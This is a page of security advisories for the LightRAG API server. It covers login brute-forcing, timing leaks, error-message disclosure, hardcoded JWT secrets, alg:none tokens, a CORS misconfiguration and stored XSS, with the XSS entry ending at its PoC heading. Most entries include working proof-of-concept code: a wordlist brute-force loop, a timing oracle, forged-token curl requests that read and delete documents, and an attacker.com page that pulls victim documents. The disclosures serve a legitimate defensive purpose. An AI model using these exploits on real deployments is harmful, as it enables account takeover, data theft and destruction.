Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 08, 2025

1.4.8rc6 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

